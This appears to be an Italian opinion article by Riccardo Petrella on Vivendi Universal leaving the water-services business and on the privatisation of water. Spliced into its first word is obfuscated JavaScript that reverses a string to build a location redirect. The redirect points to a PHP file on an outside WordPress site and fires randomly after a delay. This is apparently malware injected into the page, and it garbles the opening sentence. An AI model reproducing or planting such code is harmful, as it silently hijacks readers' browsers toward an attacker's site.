Vivendi Universal abbandona l'acqua

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L’abb (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andono dell’acqua venerdì scorso da parte del gruppo Vivendi Universal, numero uno mondiale nel settore dei servizi idrici, dimostra che la lotta contro la privatizzazione e la mercificazione dell’acqua – riaffermata da migliaia di partecipanti al Forum Sociale Europeo di Firenze – è sempre di più valida ed urgente.
La decisione di venerdì scorso della Vivendi è stata presa per tentare di uscire dalla crisi in cui il colosso francese è crollato per le stesse ragioni che hanno condotto al fallimento fraudolento l’americana Enron (numero cinque mondiale dei servizi idrici), la Worldcom e, negli ultimi giorni, alla crisi della famosa e tanto ‘stimata’ ABB.
Vivendi Universal ha deciso di concentrare il suo futuro solo nel settore delle comunicazioni e delle informazioni, abbandonando le attività nel settore dell’acqua. Eppure il gruppo Vivendi era nato 153 anni fa con l’acqua, e si chiamava Compagnie Générale des Eaux. E’ stata, insieme alla sua rivale di sempre, la Lyonnaise des Eaux, la prima compagnia francese a diventare gestore dei servizi idrici pubblici francesi sulla base del sistema della concessione.
Fino a pochi anni fa, pur essendo Vivendi l’impresa numero uno nel settore dell’acqua, le sue attività erano concentrate esclusivamente in Francia. Più piccola della Générale des Eaux, la Lyonnaise des Eaux, ne aveva approfittato ed era diventata la numero uno sui mercati mondiali.

Grazie ad importanti acquisizioni di imprese negli USA ed altrove nel mondo, la Générale des Eaux, diventata Vivendi Environement, filiale del gruppo Vivendi Universal, é ridiventata nel 2001 la numero uno in assoluto nel settore dell’acqua.
In Francia ed altrove nel mondo, la Générale des Eaux e la Lyonnaise des Eaux hanno ottenuto la concessione dei servizi d’acqua in un centinaio di grandi città, e da sole oggi vendono l’acqua a circa 250 milioni di persone nel mondo (nel 1980 erano solo 100.000).
Le due imprese hanno fatto della Francia la maggiore potenza idrica mondiale. Non solo, ma sono riuscite, grazie all’appoggio della Banca Mondiale, ad imporre il modello francese di gestione delle acque fondato sulla concessione al privato dei servizi pubblici come il modello ottimale ed unico da generalizzare a livello mondiale.
Malgrado una così lunga storia nel settore dell’acqua, perché Vivendi Universal abbandona quello che è stato il suo mestiere di base e per tanti decenni l’anima dell’impresa? La ragione è semplice: per il capitalismo finanziario, che oggi governa le strategie e le scelte del capitalismo mondiale e dei capitalismi nazionali, l’acqua non rappresenta un servizio pubblico, un bene pubblico di cui si deve garantire la cura, ma è considerata una ‘merce’, come ogni altro bene o servizio, dalla quale il capitale deve estrarre al minor costo il plusvalore più elevato. Per un’ impresa come Vivendi Universal vendere acqua o filmi americani non è un problema di scelta culturale, economica ed industriale, ma è indifferente. La scelta va verso il settore che garantisce la redditività più alta del capitale investito.
Quindi abbandonare il settore dell’acqua è stato per Vivendi del tutto logico, naturale, inevitabile, perché la loro ipotesi è che il settore di attività più redditizio per la loro impresa sarà sempre di più quello delle telecomunicazioni e dell’informazione. Si tratta di una pura logica finanziaria. Al diavolo dunque i saperi accumulati in più di 100 anni, le competenze dei loro ingegneri, dei loro quadri, dei loro operai. Al diavolo anche gli interessi dei cittadini che per anni hanno ingrassato le casse di grandi azionisti dell’ex Générale des Eaux.
Certo, Vivendi ha affermato che non svenderà l’acqua alle imprese straniere, ma che conta, dandosi tempo fino alla fine dell’anno 2004, svendere la massima parte delle sue attività ad una moltitudine di operatori locali incluse le amministrazioni pubbliche, al fine di assicurare il controllo della risorsa idrica del paese agli attori francesi. Si tratta di un bell’esempio di spudoratezza e di faccia tosta. Come spiegano, allora, i dirigenti della Vivendi la maniera sdegnosa con la quale per decenni hanno rigettato l’opposizione manifestata in tanti paesi contro la cessione delle risorse locali idriche alla stessa Vivendi, da parte di popolazioni che accusavano le loro autorità pubbliche di abbandonare il controllo della sicurezza idrica ai capitali stranieri?
L’atteggiamento della Vivendi Universal illumina in maniera eclatante la cultura detta ‘mondiale’ all’era della globalizzazione economica dominata dagli interessi finanziari delle imprese multinazionali.

[Riccardo Petrella]

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